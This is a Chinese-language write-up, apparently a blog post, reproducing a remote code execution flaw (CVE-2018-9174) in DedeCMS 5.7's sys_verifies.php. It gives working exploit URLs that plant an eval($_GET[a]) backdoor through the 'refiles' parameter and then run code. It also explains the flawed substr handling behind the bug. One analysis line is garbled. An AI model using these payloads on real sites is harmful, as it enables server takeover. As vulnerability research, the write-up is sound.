dedecms sys_verifies.php远程代码执行漏洞(CVE-2018-9174)

dedecms sys_verifies.php远程代码执行漏洞(CVE-2018-9174)

漏洞描述:

​ DesdevDedeCMS5.7版本中的sys_verifies.php文件存在安全漏洞,该漏洞源于攻击者可控制modifytmp.inc文件的内容,远程攻击者可借助‘refiles’数组参数利用该漏洞执行任意的PHP代码

影响版本:

​ DesdevDedeCMS 5.7版本

漏洞复现:

下载DesdevDedeCMS5.7版本安装包,解压,创建数据库,如果想降低安装难度,可以使用phpstudy等

dedecms sys_verifies.php远程代码执行漏洞(CVE-2018-9174)

构造paylaod :sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=%22;eval($_GET[a]);die();// ,然后拼接在url后执行

PS:本漏洞需要登陆

dedecms sys_verifies.php远程代码执行漏洞(CVE-2018-9174)

然后再构造payload并执行:sys_verifies.php?action=down&a=phpinfo();

dedecms sys_verifies.php远程代码执行漏洞(CVE-2018-9174)

也可以直接 sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\";phpinfo();die();//

dedecms sys_verifies.php远程代码执行漏洞(CVE-2018-9174)

漏洞复现成功

漏洞分析:

首先,可以查看sys_verifies.php 存在该漏洞的代码点,如下图

dedecms sys_verifies.php远程代码执行漏洞(CVE-2018-9174)

首先,action会获取传入的refiles数组,并保存为data目录下 modifytmp.inc,如下图所示

f i l e n a m e = s u b s t r ( filename = substr( filename=substr(filename,3,strlen($filename)-3); 处会截取前三位与后三位中间的内容,所以可以借此构造payload,闭合前面的内容并添加恶意代码,且此处并没有有效代码检查

dedecms sys_verifies.php远程代码执行漏洞(CVE-2018-9174)

在payload中 refiles[1]=%22;eval($_GET[a]);die();// %22; 是为了闭合上图中 $files[1] = " 从而写入恶意代码

修复建议:

升级更新以修复漏洞